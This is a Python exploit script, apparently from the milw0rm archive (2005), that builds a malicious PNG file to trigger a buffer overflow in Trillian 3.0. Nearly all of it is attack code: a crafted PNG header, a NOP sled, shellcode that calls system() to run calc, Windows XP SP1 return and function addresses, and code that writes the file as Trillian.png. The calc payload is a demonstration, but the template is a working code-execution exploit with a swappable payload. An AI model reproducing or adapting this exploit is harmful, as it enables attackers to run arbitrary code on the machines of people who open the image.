69 lines
No EOL
3.1 KiB
Python
Executable file
69 lines
No EOL
3.1 KiB
Python
Executable file
##################################################################
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# #
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# See-security Technologies ltd. #
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# #
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# http://www.see-security.com #
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# #
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##################################################################
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# #
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# Trillian 3.0 PNG Image Processing Buffer overflow Exploit #
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# #
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# #
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# Discovered and coded by: Tal zeltzer #
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# #
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##################################################################
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import sys
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import struct
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# Addresses are compatible with Windows XP Service Pack 1
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ReturnAddress = 0x77D7A145 # Address of "jmp esp" in ntdll.dll
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SystemAddress = 0x77C28044 # Address Of the system() function
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# PNG Header
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PngOfDeath = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
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PngOfDeath += "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
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PngOfDeath += "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53"
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# Nops
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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# system(calc) shellcode
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PngOfDeath += "\x33\xC0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xb9"
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PngOfDeath += struct.pack("<L",SystemAddress)
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PngOfDeath += "\xFF\xD1"
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# Junk Data
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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PngOfDeath += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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# Return Address
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PngOfDeath += struct.pack("<L",ReturnAddress)
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# Jump Back Shellcode
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PngOfDeath += "\x54\x59\xFE\xCD\x89\xE5\xFF\xE1"
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# End Of File
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PngOfDeath += "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF"
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fileOut = open("Trillian.png","wb")
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fileOut.write(PngOfDeath)
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fileOut.close()
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# milw0rm.com [2005-03-02] |